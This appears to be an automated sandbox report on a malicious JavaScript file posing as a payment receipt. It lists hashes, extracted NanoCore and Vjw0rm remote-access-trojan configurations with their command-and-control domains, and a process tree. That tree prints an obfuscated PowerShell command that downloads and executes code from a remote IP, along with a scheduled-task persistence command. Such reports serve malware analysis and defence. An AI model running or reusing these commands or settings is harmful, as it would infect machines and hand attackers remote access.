Analysis

  • max time kernel
    130s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    28-10-2021 15:37

General

  • Target

    d2h8_Payment_receipt.js

  • Size

    81KB

  • MD5

    b28995f906c68033265eddd4465f25aa

  • SHA1

    e96cd013b328a7740b2a73c3da0efe92d479f491

  • SHA256

    1462ec0ee24166bb000751db97514da4e7bd875fb960499ceefaa2142ec34649

  • SHA512

    395cde1555290656f88c35bea231b90336c8918685fbf9d6f9223c0c96f2cdfd984f8e085f669ce34d9e8318b275aecebe55ef614db3b8edbefa917007d9b62d

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://13.78.209.105/E/err.txt

Extracted

Family

nanocore

Version

1.2.2.0

C2

kenimaf.duckdns.org:8090

Mutex

543e7469-d950-4ec2-a110-de54f8d16167

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    kenimaf.duckdns.org

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2021-08-01T06:39:50.225932136Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    8090

  • default_group

    kenn

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    543e7469-d950-4ec2-a110-de54f8d16167

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    kenimaf.duckdns.org

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Extracted

Family

vjw0rm

C2

http://6200js.duckdns.org:6200

Signatures

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • Blocklisted process makes network request 3 IoCs
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\d2h8_Payment_receipt.js
    1⤵
    • Blocklisted process makes network request
    • Drops startup file
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3780
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\Admin\AppData\Local\Temp\d2h8_Payment_receipt.js
      2⤵
      • Creates scheduled task(s)
      PID:3600
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FMYKISTYG7.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $H ='http://13.78.209.105/E/err.txt';$H1 = '******************^^^^^^^^^^^^^^^^^^``````````````'.Replace('******************','n').Replace('^^^^^^^^^^^^^^^^^^','E').Replace('``````````````','t');$H2 ='DDDDDDDDEEEEEEEEEEE'.Replace('DDDDDDDD','.').Replace('EEEEEEEEEE','W');$H4 ='NNNNNNNNNNNNNNNNTTTTTTTTTTNT'.Replace('NNNNNNNNNNNNNNNNTTTTTTTTTT','IE');$H3 ='LLLLLLLLLL'.Replace('LLLLLLLLL','bC');$HH =$H1+$H2+$H3+$H4;$HHH ='DO---------------nG'.Replace('---------------','WnLoaDSTrI');$HHHH ='I`---------------Ec++++++++++++++H).$HHH($H)'.Replace('`---------------','EX(ne`W`-Obj`').Replace('++++++++++++++','`T $H');&('I'+'EX')($HHHH -Join '')|&('I'+'EX');
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2076
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          PID:2788

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\FMYKISTYG7.vbs

    MD5

    2b137d3d2ea7ddba63e99586f44e0388

    SHA1

    d4634061943a78624880537ffa65472fc6195474

    SHA256

    1af97b7b7febcf25481d8c653b141681be8a1cad29a563e9057c02c1c87b75c2

    SHA512

    6a7240273576e625066b114960fa4063acd9404727d02bcd3183248f5c820161ec15fafe01858d22ddcf39cd4d03f8e52988625aabd7b01565339b8927693115

  • memory/1720-116-0x0000000000000000-mapping.dmp

  • memory/2076-126-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-118-0x0000000000000000-mapping.dmp

  • memory/2076-119-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-120-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-121-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-122-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-123-0x0000016FDC620000-0x0000016FDC621000-memory.dmp

    Filesize

    4KB

  • memory/2076-124-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-166-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-128-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-127-0x0000016FDC613000-0x0000016FDC615000-memory.dmp

    Filesize

    8KB

  • memory/2076-129-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-125-0x0000016FDC610000-0x0000016FDC612000-memory.dmp

    Filesize

    8KB

  • memory/2076-130-0x0000016FDC960000-0x0000016FDC961000-memory.dmp

    Filesize

    4KB

  • memory/2076-131-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-135-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-136-0x0000016FC2710000-0x0000016FC2712000-memory.dmp

    Filesize

    8KB

  • memory/2076-146-0x0000016FDC616000-0x0000016FDC618000-memory.dmp

    Filesize

    8KB

  • memory/2076-147-0x0000016FDC618000-0x0000016FDC619000-memory.dmp

    Filesize

    4KB

  • memory/2076-158-0x0000016FDC920000-0x0000016FDC944000-memory.dmp

    Filesize

    144KB

  • memory/2076-163-0x0000016FDC900000-0x0000016FDC901000-memory.dmp

    Filesize

    4KB

  • memory/2788-165-0x000000000041E792-mapping.dmp

  • memory/2788-178-0x00000000064E0000-0x00000000064F5000-memory.dmp

    Filesize

    84KB

  • memory/2788-164-0x0000000000400000-0x0000000000438000-memory.dmp

    Filesize

    224KB

  • memory/2788-167-0x0000000000B00000-0x0000000000B38000-memory.dmp

    Filesize

    224KB

  • memory/2788-169-0x00000000054B0000-0x00000000054B1000-memory.dmp

    Filesize

    4KB

  • memory/2788-170-0x0000000004FB0000-0x0000000004FB1000-memory.dmp

    Filesize

    4KB

  • memory/2788-171-0x00000000050F0000-0x00000000050F1000-memory.dmp

    Filesize

    4KB

  • memory/2788-172-0x0000000004F90000-0x0000000004F91000-memory.dmp

    Filesize

    4KB

  • memory/2788-173-0x0000000004FB0000-0x00000000054AE000-memory.dmp

    Filesize

    5.0MB

  • memory/2788-174-0x00000000050C0000-0x00000000050C5000-memory.dmp

    Filesize

    20KB

  • memory/2788-175-0x00000000050D0000-0x00000000050E9000-memory.dmp

    Filesize

    100KB

  • memory/2788-176-0x0000000005430000-0x0000000005433000-memory.dmp

    Filesize

    12KB

  • memory/2788-177-0x00000000054A0000-0x00000000054AD000-memory.dmp

    Filesize

    52KB

  • memory/2788-189-0x00000000067C0000-0x00000000067C1000-memory.dmp

    Filesize

    4KB

  • memory/2788-179-0x0000000006520000-0x0000000006526000-memory.dmp

    Filesize

    24KB

  • memory/2788-180-0x0000000006530000-0x000000000653C000-memory.dmp

    Filesize

    48KB

  • memory/2788-181-0x0000000006540000-0x0000000006546000-memory.dmp

    Filesize

    24KB

  • memory/2788-182-0x0000000006550000-0x0000000006557000-memory.dmp

    Filesize

    28KB

  • memory/2788-183-0x0000000006560000-0x000000000656D000-memory.dmp

    Filesize

    52KB

  • memory/2788-184-0x0000000006570000-0x0000000006572000-memory.dmp

    Filesize

    8KB

  • memory/2788-185-0x0000000006580000-0x000000000658F000-memory.dmp

    Filesize

    60KB

  • memory/2788-186-0x00000000065A0000-0x00000000065AA000-memory.dmp

    Filesize

    40KB

  • memory/2788-187-0x00000000065B0000-0x00000000065D9000-memory.dmp

    Filesize

    164KB

  • memory/2788-188-0x00000000065F0000-0x00000000065FF000-memory.dmp

    Filesize

    60KB

  • memory/3600-115-0x0000000000000000-mapping.dmp